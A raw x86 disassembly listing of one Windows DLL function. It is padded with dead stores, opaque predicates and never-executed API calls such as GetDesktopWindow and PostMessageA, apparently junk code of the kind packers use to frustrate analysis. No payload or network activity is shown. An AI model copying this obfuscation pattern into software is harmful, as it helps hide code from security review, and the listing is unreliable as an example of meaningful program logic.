setle dl
mov dword [ebp - 0x1194], edx
cmp byte [ebp - 0x11], 0
je 0x1002de39
mov dword [ebp - 0x30], 0xd313dd33
mov dword [ebp - 0x30], 6
cmp dword [ebp - 0x30], 0x18
je 0x1002de33
push 0xfffffffffffffffb
xor eax, eax
pop ecx
mov dword [ebp - 0x644], ecx
mov dword [ebp - 0x640], ecx
mov dword [ebp - 0x63c], ecx
mov dword [ebp - 0x638], ecx
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], edi
jge 0x1002ddf4
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1350], 0xbd97a888
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x1002dddc
xor eax, eax
mov dword [ebp - 0x63c], eax
cmp dword [ebp - 0x63c], esi
jg 0x1002de2a
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x1002de19
push 0x1506
push eax
call dword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
xor eax, eax
inc dword [ebp - 0x63c]
cmp dword [ebp - 0x63c], esi
jle 0x1002de02
push 0xfffffffffffffffb
pop ecx
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 0x18
jne 0x1002ddbc
call dword [sym.imp.USER32.dll_CreateMenu]
mov dword [ebp - 0x30], 0x5c8094a1
or edx, 0xffffffff
xor eax, eax
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], esi
jge 0x1002de64
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xdb4], ebx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x1002de50
xor eax, eax
mov dword [ebp - 0x30], eax
jmp 0x1002de99
mov dword [ebp - 0x40], 0xfffffff7
mov dword [ebp - 0x40], 0x4d00693e
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], edi
jge 0x1002de93
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x12c0], esi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x1002de7f
xor eax, eax
inc dword [ebp - 0x34]
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], eax
jle 0x1002de69
mov dword [ebp - 0x38], esi
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
sub eax, dword [ebp - 0x38]
neg eax
push 0xffffffffffffffea
sbb eax, eax
xor ecx, ecx
inc eax
cmp eax, 0xa67f8b4d
pop edi
setne cl
add ecx, 0x3416d1c1
imul ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
imul eax, dword [ebp - 0x38]
sub eax, ecx
neg eax
sbb eax, eax
inc eax
imul eax, dword [ebp - 0x38]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x38], edi
cmp dword [ebp - 0x38], 0xfffffff0
jge 0x1002df30
xor eax, eax
mov dword [ebp - 0x2c], eax
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x1002df1d
push eax
push eax
push 0xf1b
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_PostMessageA]
xor eax, eax
mov dword [ebp - 0x2c], 0x2715ee56
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], 0xfffffff0
jl 0x1002defb
or edx, 0xffffffff
xor eax, eax
mov byte [ebp - 0x41], al
mov dword [ebp - 0x2c], 0xade
mov dword [ebp - 0x40], 0xebfb2c41
push 4
mov dword [ebp - 0x1c], eax
pop ecx
cmp dword [ebp - 0x1c], ecx
jge 0x1002df62
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x5a4], edx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x1002df4e
xor eax, eax
mov dword [ebp - 0x59c], 0xfffffff3
cmp dword [ebp - 0x59c], 0xe
je 0x1002e026
mov dword [ebp - 0x34], 0x78f4f823
cmp dword [ebp - 0x2c], eax
je 0x1002dff4
mov dword [ebp - 0x34], 0xf5ed9a92
mov dword [ebp - 0x1c], eax
jmp 0x1002dfa2
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x808], 0x8dc5336d
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x1002df91
mov eax, dword [ebp - 0x808]
add eax, dword [ebp - 0x59c]
je 0x1002dfc1
xor eax, eax
cmp dword [ebp - 0x59c], eax
je 0x1002dfc3
jmp 0x1002dfc5
xor eax, eax
mov esi, eax
mov ecx, dword [ebp - 0x34]
neg esi
mov eax, dword [ebp - 0x59c]
neg esi
sbb esi, esi
xor edx, edx
neg esi
cmp eax, ecx
mov eax, dword [ebp - 0x34]
setle dl
xor ecx, ecx
cmp eax, edx
setne cl
xor eax, eax
imul ecx, esi
xor esi, esi
inc esi
mov dword [ebp - 0x34], ecx
jmp 0x1002dffe
mov dword [ebp - 0x34], 0xdf9c
inc dword [ebp - 0x34]
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x1002e010
push eax
call dword [sym.imp.KERNEL32.dll_HeapDestroy]
xor eax, eax
inc dword [ebp - 0x59c]
cmp dword [ebp - 0x59c], 0xe
jne 0x1002df79
push 4
pop ecx
cmp byte [ebp - 0x41], 0
je 0x1002f1dc
or edx, 0xffffffff
mov dword [ebp - 0x2a0], edx
mov dword [ebp - 0x29c], edx
mov dword [ebp - 0x298], edx
mov dword [ebp - 0x294], edx
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x28], 0xd1a4e665
mov dword [ebp - 0x3c], 0x25429297
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x2c], 0xf5644fe3
mov dword [ebp - 0x1c], eax
jmp 0x1002e078
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1378], esi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x1002e06b
mov eax, dword [ebp - 0x29c]
mov eax, dword [ebp - 0x294]
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x29c]
mov eax, dword [ebp - 0x29c]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x29c]
mov ecx, dword [ebp - 0x30]
add ecx, dword [ebp - 0x30]
sub ecx, dword [ebp - 0x29c]
mov eax, dword [ebp - 0x29c]
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
imul eax, ecx
mov dword [ebp - 0x3c], eax
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x3c]
cmp eax, ecx
setle dl
xor eax, eax
cmp edx, 0x4938
setl al
imul eax, eax, 0x29ea
test eax, eax
je 0x1002e0f4
xor eax, eax
cmp dword [ebp - 0x29c], eax
je 0x1002e0f6
mov eax, esi
jmp 0x1002e0f6
xor eax, eax
cmp eax, dword [ebp - 0x294]
jge 0x1002e346
mov dword [ebp - 0x20], 0x2e6c
xor eax, eax
mov dword [ebp - 0x18], 0xfffffff9
mov dword [ebp - 0x10], esi
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], esi
jge 0x1002e132
or ecx, 0xffffffff
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1c4], ecx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x1002e120
mov eax, dword [ebp - 0x29c]
xor edx, edx
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x3c]
cmp eax, ecx
setg dl
xor eax, eax
cmp dword [ebp - 0x20], edx
jle 0x1002e27b
xor eax, eax
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], al
je 0x1002e363
push eax
push 0xbc2
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetScrollInfo]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SaveDC]
jmp 0x1002f1dc
mov dword [ebp - 0x20], 6
mov dword [ebp - 0x20], 0xffffffe5
cmp dword [ebp - 0x20], 0xffffffed
push 3
pop ebx
jge 0x1002e3e6
xor eax, eax
mov dword [ebp - 0x1c], 0xb3e90a62
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x1002e3bc
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x11b0], 0x647dc4b
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x1002e3a4
xor eax, eax
cmp dword [ebp - 0x20], eax
jne 0x1002e3e6
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x1002e3dd
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x11b0], esi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x1002e3c9
xor eax, eax
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xffffffed
jl 0x1002e395
xor eax, eax
mov dword [ebp - 0x20], eax
jmp 0x1002e4e7
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jge 0x1002e415
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x4bc], 0x444
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x1002e3fc
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x1002e435
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x7b4], 0x4cff15cc
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x1002e41d
xor eax, eax
mov dword [ebp - 0x1c], eax
jmp 0x1002e4db
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x34], 2
mov dword [ebp - 0x34], 0x9f3faa32
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x1002e474
push eax
push 0xc1
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetTextExtentPoint32W]
xor eax, eax
mov dword [ebp - 0x10], esi
cmp dword [ebp - 0x10], eax
jl 0x1002e4d8
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp + eax*4 - 0x4bc]
imul eax, dword [ebp - 0x4bc], 0x52fa
test eax, eax
je 0x1002e49e
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp + eax*4 - 0x4bc]
mov eax, dword [ebp - 0x20]
mov ecx, 0xa124
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp + eax*4 - 0x4bc]
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
sub ecx, eax
imul ecx, dword [ebp - 0x10]
dec ecx
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x7b4], ecx
dec dword [ebp - 0x10]
jns 0x1002e47c
xor eax, eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jle 0x1002e43d
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xfffffff0
jg 0x1002e3f0
mov dword [ebp - 0x38], ebx
mov eax, 0x36fa7abe
mov dword [ebp - 0x10], esi
mov dword [ebp - 0x34], 0x2570
mov dword [ebp - 0xc10], eax
mov dword [ebp - 0xc0c], eax
mov dword [ebp - 0xc08], eax
mov dword [ebp - 0xc04], eax
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 4
jge 0x1002e53f
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x460], 0x4ec2e0cf
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x1002e526
xor eax, eax
mov dword [ebp - 0x10], eax
or ecx, 0xffffffff
cmp dword [ebp - 0x10], ebx
jge 0x1002e55e
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x11c8], ecx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x1002e54a
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jg 0x1002e6d9
mov edi, 0xffff
mov dword [ebp - 0x2fc], ecx
mov dword [ebp - 0x2f8], ecx
mov dword [ebp - 0x2f4], ecx
mov dword [ebp - 0x2f0], ecx
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x18], 0xde8cc195
mov dword [ebp - 0x2f0], eax
cmp dword [ebp - 0x2f0], 4
jge 0x1002e5be
mov eax, dword [ebp - 0x2f0]
mov dword [ebp + eax*4 - 0x460], ecx
inc dword [ebp - 0x2f0]
cmp dword [ebp - 0x2f0], 4
jl 0x1002e5a0
xor eax, eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], ebx
jg 0x1002e6c7
mov dword [ebp - 0x24], 0x674f9af3
xor edx, edx
mov dword [ebp - 0x2f0], 0x29b3a00d
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp + eax*4 - 0x460]
mov eax, dword [ebp - 0x2f4]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp + eax*4 - 0x460]
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x34]
add ecx, 0xfff7
cmp ecx, eax
mov eax, dword [ebp - 0x10]
setle dl
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x460]
cmp eax, edx
mov eax, dword [ebp - 0x10]
sete cl
neg ecx
cmp ecx, dword [ebp + eax*4 - 0x460]
jge 0x1002e633
xor eax, eax
mov ecx, eax
cmp dword [ebp - 0x3c], eax
je 0x1002e635
mov ecx, esi
mov eax, dword [ebp - 0x34]
sub ecx, eax
shl ecx, 3
mov dword [ebp - 0x18], ecx
cmp dword [ebp - 0x18], edi
je 0x1002e666
mov dword [ebp - 0x2c], 0xfffffff6
mov eax, dword [ebp - 0x460]
mov eax, dword [ebp - 0x454]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2fc]
mov dword [ebp - 0x24], esi
jmp 0x1002e6b6
mov dword [ebp - 0x18], esi
xor eax, eax
mov dword [ebp - 0x2c], 7
cmp dword [ebp - 0x45c], eax
jne 0x1002e6c2
mov eax, dword [ebp - 0x2fc]
xor edx, edx
mov dword [ebp - 0x18], 0x7b39
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x458]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp + eax*4 - 0x460]
mov eax, dword [ebp - 0xc08]
mov eax, dword [ebp - 0x11c4]
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x24]
cmp ecx, eax
setg dl
mov dword [ebp - 0x2c], edx
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], ebx
jle 0x1002e5ca
xor eax, eax
or ecx, 0xffffffff
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jle 0x1002e56f
mov edi, dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x1002e703
push eax
push 0xb73
push 0x1a19
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetDIBColorTable]
xor eax, eax
mov dword [ebp - 0x20], 0xfffffff8
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], esi
jge 0x1002e72a
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1cc], 0xf845d811
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x1002e712
xor eax, eax
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x1002e746
push 0xfb8
push 0x1329
push eax
call dword [sym.imp.USER32.dll_EnableMenuItem]
xor eax, eax
mov dword [ebp - 0x20], 0xb
jmp 0x1002e89b
mov dword [ebp - 0x28], 0x53aa9ac7
mov dword [ebp - 0x28], eax
jmp 0x1002e88e
mov dword [ebp - 0x1c], 0x62a2b3b7
mov dword [ebp - 0x2c], 0xbc6c2db6
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], eax
jl 0x1002e88b
push 8
pop ecx
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x3c], eax
jmp 0x1002e867
mov dword [ebp - 0x40], 0xe24b13b1
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x1002e7b0
cmp dword [ebp - 0x3c], eax
jle 0x1002e789
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x1002e882
dec dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0xffffffe2
jle 0x1002e761
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xfffffff0
jl 0x1002e752
push 5
pop ecx
mov dword [ebp - 0x50], ecx
or ecx, 0xffffffff
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x10], 0xa93826a0
mov dword [ebp - 0x34], 0xfffffffb
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x1002e8df
xor eax, eax
mov dword [ebp - 0x1c], 0x647dc4b4
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x1002f205
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x838], 0x63185299
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x1002f1ed
xor eax, eax
inc dword [ebp - 0x838]
mov dword [ebp - 0x1c], 0xfffffff3
cmp dword [ebp - 0x1c], eax
jne 0x1002f294
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x830]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x838]
sub eax, dword [ebp - 0x838]
je 0x1002f275
xor eax, eax
mov dword [ebp - 0x30], 0xe17c1097
mov dword [ebp - 0x30], eax
jmp 0x1002f258
cmp byte [ebp - 0x11], 0
je 0x1002f255
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_TranslateMDISysAccel]
xor eax, eax
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 0x18
mov byte [ebp - 0x11], al
jne 0x1002f23f
cmp byte [ebp - 0x11], 0
je 0x1002f28d
push 0x1af4
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
jmp 0x1002f28d
xor eax, eax
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], al
je 0x1002f28d
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_BeginPaint]
inc dword [ebp - 0x1c]
je 0x1002f217
xor eax, eax
push 8
pop ecx
mov dword [ebp - 0x30], 0xffffffe9
cmp dword [ebp - 0x30], ecx
mov ecx, 0xfff9
jle 0x1002f6cb
mov edi, 0xec01e6e
jmp 0x1002f2b5
mov dword [ebp - 0x20], 2
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x40], 0xf38d927f
mov dword [ebp - 0x24], 0xd39c7c6f
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x1002f2ed
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x980], 0x6820
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x1002f2d5
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x1002f30d
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x11f8], 0
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x1002f2f5
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], ebx
jge 0x1002f32d
xor eax, eax
mov dword [ebp - 0x28], esi
push 2
mov dword [ebp - 0x1c], eax
pop edi
cmp dword [ebp - 0x1c], edi
jge 0x1002f6f3
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x13c8], 0x7f5aee0c
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x1002f6db
xor eax, eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], eax
jne 0x1002f80e
mov dword [ebp - 0x30], 0x75286e87
mov dword [ebp - 0x50], 0x88b92280
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], esi
jge 0x1002f72d
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xf2c], 0xc9dffbe5
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x1002f715
mov dword [ebp - 0x30], 0xb
or ecx, 0xffffffff
cmp dword [ebp - 0x30], ecx
jl 0x1002f802
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x1002f826
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDlgCtrlID]
xor eax, eax
mov dword [ebp - 0x20], 0x97f6af11
mov dword [ebp - 0x48], 0x629342bb
mov dword [ebp - 0x40], esi
mov dword [ebp - 0x20], 0x12
cmp dword [ebp - 0x20], 0xffffffe5
jne 0x1002fa16